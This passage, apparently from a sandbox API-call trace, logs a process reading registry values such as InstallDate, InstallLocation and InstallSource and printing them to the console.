(hFile=0x50) returned 0x1 [0147.298] lstrlenW (lpString="\n") returned 1 [0147.298] GetConsoleOutputCP () returned 0x1b5 [0147.298] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.298] GetConsoleOutputCP () returned 0x1b5 [0147.298] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.298] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.298] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.298] GetProcessHeap () returned 0x2e0000 [0147.298] GetProcessHeap () returned 0x2e0000 [0147.298] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.298] GetProcessHeap () returned 0x2e0000 [0147.298] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.298] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0147.298] RegEnumValueW (in: hKey=0x5c, dwIndex=0x6, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="InstallDate", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.298] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="InstallDate", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x14) returned 0x0 [0147.298] GetProcessHeap () returned 0x2e0000 [0147.298] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x16) returned 0x2fd1a0 [0147.298] GetProcessHeap () returned 0x2e0000 [0147.298] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd1a0) returned 1 [0147.298] GetProcessHeap () returned 0x2e0000 [0147.298] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fd1a0) returned 0x16 [0147.298] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="InstallDate", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fd1a0, pcbData=0x23f670*=0x14 | out: pdwType=0x23f5f0*=0x1, pvData="20170630", pcbData=0x23f670*=0x12) returned 0x0 [0147.299] __iob_func () returned 0x7fefd702a80 [0147.299] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.299] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.299] _fileno (_File=0x7fefd702ab0) returned 1 [0147.299] _errno () returned 0xc4bb0 [0147.299] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.299] _errno () returned 0xc4bb0 [0147.299] GetFileType (hFile=0x50) returned 0x1 [0147.299] lstrlenW (lpString=" ") returned 4 [0147.299] GetConsoleOutputCP () returned 0x1b5 [0147.299] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.299] GetConsoleOutputCP () returned 0x1b5 [0147.299] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.299] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.299] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.299] lstrlenW (lpString="InstallDate") returned 11 [0147.299] __iob_func () returned 0x7fefd702a80 [0147.299] _fileno (_File=0x7fefd702ab0) returned 1 [0147.299] _errno () returned 0xc4bb0 [0147.299] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.299] _errno () returned 0xc4bb0 [0147.299] GetFileType (hFile=0x50) returned 0x1 [0147.299] lstrlenW (lpString="InstallDate") returned 11 [0147.299] GetConsoleOutputCP () returned 0x1b5 [0147.299] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="InstallDate", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0147.299] GetConsoleOutputCP () returned 0x1b5 [0147.300] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="InstallDate", cchWideChar=11, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="InstallDate", lpUsedDefaultChar=0x0) returned 11 [0147.300] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 11 [0147.300] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.300] __iob_func () returned 0x7fefd702a80 [0147.300] _fileno (_File=0x7fefd702ab0) returned 1 [0147.300] _errno () returned 0xc4bb0 [0147.300] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.300] _errno () returned 0xc4bb0 [0147.300] GetFileType (hFile=0x50) returned 0x1 [0147.300] lstrlenW (lpString=" ") returned 4 [0147.300] GetConsoleOutputCP () returned 0x1b5 [0147.300] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.300] GetConsoleOutputCP () returned 0x1b5 [0147.300] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.300] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.300] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.300] __iob_func () returned 0x7fefd702a80 [0147.300] _fileno (_File=0x7fefd702ab0) returned 1 [0147.300] _errno () returned 0xc4bb0 [0147.300] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.300] _errno () returned 0xc4bb0 [0147.300] GetFileType (hFile=0x50) returned 0x1 [0147.300] lstrlenW (lpString="REG_SZ") returned 6 [0147.300] GetConsoleOutputCP () returned 0x1b5 [0147.301] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0147.301] GetConsoleOutputCP () returned 0x1b5 [0147.301] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0147.301] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0147.301] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.301] __iob_func () returned 0x7fefd702a80 [0147.301] _fileno (_File=0x7fefd702ab0) returned 1 [0147.301] _errno () returned 0xc4bb0 [0147.301] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.301] _errno () returned 0xc4bb0 [0147.301] GetFileType (hFile=0x50) returned 0x1 [0147.301] lstrlenW (lpString=" ") returned 4 [0147.301] GetConsoleOutputCP () returned 0x1b5 [0147.301] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.301] GetConsoleOutputCP () returned 0x1b5 [0147.301] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.301] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.301] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.301] __iob_func () returned 0x7fefd702a80 [0147.301] _fileno (_File=0x7fefd702ab0) returned 1 [0147.301] _errno () returned 0xc4bb0 [0147.301] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.301] _errno () returned 0xc4bb0 [0147.301] GetFileType (hFile=0x50) returned 0x1 [0147.302] lstrlenW (lpString="20170630") returned 8 [0147.302] GetConsoleOutputCP () returned 0x1b5 [0147.302] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="20170630", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0147.302] GetConsoleOutputCP () returned 0x1b5 [0147.302] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="20170630", cchWideChar=8, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="20170630", lpUsedDefaultChar=0x0) returned 8 [0147.302] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 8 [0147.302] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.302] __iob_func () returned 0x7fefd702a80 [0147.302] _fileno (_File=0x7fefd702ab0) returned 1 [0147.302] _errno () returned 0xc4bb0 [0147.302] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.302] _errno () returned 0xc4bb0 [0147.302] GetFileType (hFile=0x50) returned 0x1 [0147.302] lstrlenW (lpString="\n") returned 1 [0147.302] GetConsoleOutputCP () returned 0x1b5 [0147.302] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.302] GetConsoleOutputCP () returned 0x1b5 [0147.302] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.302] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.303] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.303] GetProcessHeap () returned 0x2e0000 [0147.303] GetProcessHeap () returned 0x2e0000 [0147.303] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd1a0) returned 1 [0147.303] GetProcessHeap () returned 0x2e0000 [0147.303] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fd1a0) returned 0x16 [0147.303] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd1a0 | out: hHeap=0x2e0000) returned 1 [0147.303] RegEnumValueW (in: hKey=0x5c, dwIndex=0x7, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="InstallLocation", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.304] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="InstallLocation", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0147.304] GetProcessHeap () returned 0x2e0000 [0147.304] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0147.304] GetProcessHeap () returned 0x2e0000 [0147.304] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.304] GetProcessHeap () returned 0x2e0000 [0147.304] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.304] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="InstallLocation", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x1, pvData="", pcbData=0x23f670*=0x2) returned 0x0 [0147.304] __iob_func () returned 0x7fefd702a80 [0147.304] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.304] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.304] _fileno (_File=0x7fefd702ab0) returned 1 [0147.304] _errno () returned 0xc4bb0 [0147.304] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.304] _errno () returned 0xc4bb0 [0147.304] GetFileType (hFile=0x50) returned 0x1 [0147.304] lstrlenW (lpString=" ") returned 4 [0147.304] GetConsoleOutputCP () returned 0x1b5 [0147.304] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.304] GetConsoleOutputCP () returned 0x1b5 [0147.304] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.304] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.304] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.304] lstrlenW (lpString="InstallLocation") returned 15 [0147.304] __iob_func () returned 0x7fefd702a80 [0147.304] _fileno (_File=0x7fefd702ab0) returned 1 [0147.304] _errno () returned 0xc4bb0 [0147.304] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.304] _errno () returned 0xc4bb0 [0147.305] GetFileType (hFile=0x50) returned 0x1 [0147.305] lstrlenW (lpString="InstallLocation") returned 15 [0147.305] GetConsoleOutputCP () returned 0x1b5 [0147.305] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="InstallLocation", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0147.305] GetConsoleOutputCP () returned 0x1b5 [0147.305] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="InstallLocation", cchWideChar=15, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="InstallLocation", lpUsedDefaultChar=0x0) returned 15 [0147.305] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 15 [0147.305] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.305] __iob_func () returned 0x7fefd702a80 [0147.305] _fileno (_File=0x7fefd702ab0) returned 1 [0147.305] _errno () returned 0xc4bb0 [0147.305] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.305] _errno () returned 0xc4bb0 [0147.305] GetFileType (hFile=0x50) returned 0x1 [0147.305] lstrlenW (lpString=" ") returned 4 [0147.305] GetConsoleOutputCP () returned 0x1b5 [0147.305] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.305] GetConsoleOutputCP () returned 0x1b5 [0147.305] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.306] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.306] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.306] __iob_func () returned 0x7fefd702a80 [0147.306] _fileno (_File=0x7fefd702ab0) returned 1 [0147.306] _errno () returned 0xc4bb0 [0147.306] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.306] _errno () returned 0xc4bb0 [0147.306] GetFileType (hFile=0x50) returned 0x1 [0147.306] lstrlenW (lpString="REG_SZ") returned 6 [0147.306] GetConsoleOutputCP () returned 0x1b5 [0147.306] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0147.306] GetConsoleOutputCP () returned 0x1b5 [0147.306] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0147.306] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0147.306] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.306] __iob_func () returned 0x7fefd702a80 [0147.306] _fileno (_File=0x7fefd702ab0) returned 1 [0147.306] _errno () returned 0xc4bb0 [0147.306] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.306] _errno () returned 0xc4bb0 [0147.306] GetFileType (hFile=0x50) returned 0x1 [0147.306] lstrlenW (lpString=" ") returned 4 [0147.306] GetConsoleOutputCP () returned 0x1b5 [0147.306] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.307] GetConsoleOutputCP () returned 0x1b5 [0147.307] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.307] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.307] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.307] __iob_func () returned 0x7fefd702a80 [0147.307] _fileno (_File=0x7fefd702ab0) returned 1 [0147.307] _errno () returned 0xc4bb0 [0147.307] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.307] _errno () returned 0xc4bb0 [0147.307] GetFileType (hFile=0x50) returned 0x1 [0147.307] lstrlenW (lpString="") returned 0 [0147.307] __iob_func () returned 0x7fefd702a80 [0147.307] _fileno (_File=0x7fefd702ab0) returned 1 [0147.307] _errno () returned 0xc4bb0 [0147.307] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.307] _errno () returned 0xc4bb0 [0147.307] GetFileType (hFile=0x50) returned 0x1 [0147.307] lstrlenW (lpString="\n") returned 1 [0147.307] GetConsoleOutputCP () returned 0x1b5 [0147.307] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.307] GetConsoleOutputCP () returned 0x1b5 [0147.307] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.307] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.307] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.307] GetProcessHeap () returned 0x2e0000 [0147.307] GetProcessHeap () returned 0x2e0000 [0147.308] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.308] GetProcessHeap () returned 0x2e0000 [0147.308] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.308] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0147.308] RegEnumValueW (in: hKey=0x5c, dwIndex=0x8, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="InstallSource", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.308] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="InstallSource", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x30) returned 0x0 [0147.308] GetProcessHeap () returned 0x2e0000 [0147.308] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x32) returned 0x2f7890 [0147.308] GetProcessHeap () returned 0x2e0000 [0147.308] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f7890) returned 1 [0147.308] GetProcessHeap () returned 0x2e0000 [0147.308] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2f7890) returned 0x32 [0147.308] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="InstallSource", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2f7890, pcbData=0x23f670*=0x30 | out: pdwType=0x23f5f0*=0x1, pvData="c:\\d82874be2c8645ac0b\\", pcbData=0x23f670*=0x2e) returned 0x0 [0147.308] __iob_func () returned 0x7fefd702a80 [0147.308] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.308] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.308] _fileno (_File=0x7fefd702ab0) returned 1 [0147.308] _errno () returned 0xc4bb0 [0147.308] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.308] _errno () returned 0xc4bb0 [0147.308] GetFileType (hFile=0x50) returned 0x1 [0147.308] lstrlenW (lpString=" ") returned 4 [0147.308] GetConsoleOutputCP () returned 0x1b5 [0147.308] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.308] GetConsoleOutputCP () returned 0x1b5 [0147.308] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.308] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.308] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.309] lstrlenW (lpString="InstallSource") returned 13 [0147.309] __iob_func () returned 0x7fefd702a80 [0147.309] _fileno (_File=0x7fefd702ab0) returned 1 [0147.309] _errno () returned 0xc4bb0 [0147.309] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.309] _errno () returned 0xc4bb0 [0147.309] GetFileType (hFile=0x50) returned 0x1 [0147.309] lstrlenW (lpString="InstallSource") returned 13 [0147.309] GetConsoleOutputCP () returned 0x1b5 [0147.309] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="InstallSource", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0147.309] GetConsoleOutputCP () returned 0x1b5 [0147.309] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="InstallSource", cchWideChar=13, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="InstallSource", lpUsedDefaultChar=0x0) returned 13 [0147.309] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0147.309] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.309] __iob_func () returned 0x7fefd702a80 [0147.309] _fileno (_File=0x7fefd702ab0) returned 1 [0147.309] _errno () returned 0xc4bb0 [0147.309] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.309] _errno () returned 0xc4bb0 [0147.309] GetFileType (hFile=0x50) returned 0x1 [0147.309] lstrlenW (lpString=" ") returned 4 [0147.309] GetConsoleOutputCP () returned 0x1b5 [0147.309] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.309] GetConsoleOutputCP () returned 0x1b5 [0147.310] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.310] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.310] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.310] __iob_func () returned 0x7fefd702a80 [0147.310] _fileno (_File=0x7fefd702ab0) returned 1 [0147.310] _errno () returned 0xc4bb0 [0147.310] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.310] _errno () returned 0xc4bb0 [0147.310] GetFileType (hFile=0x50) returned 0x1 [0147.310] lstrlenW (lpString="REG_SZ") returned 6 [0147.310] GetConsoleOutputCP () returned 0x1b5 [0147.310] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0147.310] GetConsoleOutputCP () returned 0x1b5 [0147.310] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 